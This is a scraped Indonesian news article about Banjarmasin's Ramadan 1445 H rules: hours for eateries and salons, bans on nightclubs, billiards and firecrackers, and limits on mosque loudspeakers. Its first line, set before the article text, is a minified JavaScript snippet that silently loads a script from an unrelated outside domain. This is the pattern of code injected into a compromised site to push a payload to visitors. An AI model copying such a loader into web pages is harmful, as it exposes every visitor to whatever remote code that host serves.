(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Forum Koordinasi Pimpinan Daerah (Forkopimda) Kota Banjarmasin mengeluarkan surat imbauan selama bulan Ramadan 1445 Hijriyah.
Surat dengan nomor 200.1.3/263-BAKESBANGPOL-2024 itu mengatur kegiatan masyarakat di Banjarmasin selama Ramadan dan Idul Fitri 1445 Hijriyah.
Salah satu yang diatur terkait tempat usaha warung makan. Restoran, rumah makan, rombong dan sejenisnya diperbolehkan menjual makanan pada siang hari dengan ketentuan tidak boleh menyediakan fasilitas makan di tempat.
Warung makan sampai dengan pukul 17.00 Wita hanya diperbolehkan melayani pembeli secara take away atau memesan dengan cara dibungkus, serta area warung hanya dibuka sebagian kecil. Mulai pukul 17.00 Wita atau menjelang buka puasa baru boleh melayani makan di tempat.
Baca juga: Berbeda Awal Puasa, Menag Minta Saling Menghormati
Kemudian untuk pasar Ramadan atau pasar wadai dapat membuka dagangan mulai pukul 15.00 Wita.
Selain usaha warung makan, Forkopimda Banjarmasin juga mengatur terkait Tempat Hiburan Malam (THM). Dimana THM seperti diskotik, karaoke, pub, live musik, bar dan menjual minuman beralkohol dilarang selama bulan suci Ramadan.
Sementara bagi usah salon kecantikan dan sejenisnya boleh membuka usaha dari pukul 10.00 Wita sampai pukul 17.00 Wita, dengan ketentuan tidak memperbolehkan atau memberikan makanan dan minuman.
“Dilarang memperjualbelikan dan atau membunyikan atau meledakan petasan selama bulan Ramadan,” bunyi salah satu diktum surat instruksi yang ditandatangani Wali Kota Ibnu Sina dan Forkopimda.
Baca juga: Masjid Hasanuddin Madjedi Mulai Tarawih Berjemaah, Muhammadiyah Berdasar Metode Wujudul Hilal Hakiki
Pada bulan Ramadan tahun ini, Forkopimda Banjarmasin juga turut mengatur terkait penggunaan pengeras suara di masjid dan musholla.
Saat menjelang azan Subuh dan shalat Jumat, digunakan pembacaan Al Qur’an atau tahrim menggunakan pengeras suara bagian luar maksimal 10 menit. Kemudian untuk pembacaan Al Qur’an/ tahrim dan sejenisnya jelang shalat Zuhur, Ashar, Magrib dan Isya, maksimal 5 menit.
Penggunaan pengeras suara luar juga dibolehkan saat azan, takbir Hari Raya Idul Fitri dan pelaksanaan shalat Ied.
Sementara penggunaan suara mik bagian dalam untuk pelaksanaan shalat subuh, zikir, doa dan kuliah subuh. Kemudian sesudah azan dikumandangkan, penyampaian pengumuman sebelumnya shalat Jumat dan khotbah Jumat, serta untuk pelaksanaan shalat tarawih dan kajian Ramadan.
Baca juga: Bupati Hadiri Pisah Sambut Kepala Kantor Kemenag Kabupaten Banjar
Lanjut berdasarkan surat instruksi, pelaku usaha bilyard (bola sodok) tidak diperbolehkan membuka usahanya pada bulan Ramadan.
Sementara untuk bioskop diminta untuk memperhatikan malam-malam tertentu dibulan Ramadan, seperti malam pertama, malam Nuzulul Qur’an, dan malam hari raya Idul Fitri untuk meniadakan pertunjukan. Termasuk film yang ditayangkan tidak mengganggu kekhusyukan orang melaksanakan ibadah Ramadan.
“Warga masyarakat yang menemukan pelanggaran ketentuan dalam surat instruksi dapat melaporkan dan menginformasikan ke Satpol PP atau aplikasi SIPADU Pemko Banjarmasin,” tutup surat instruksi. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.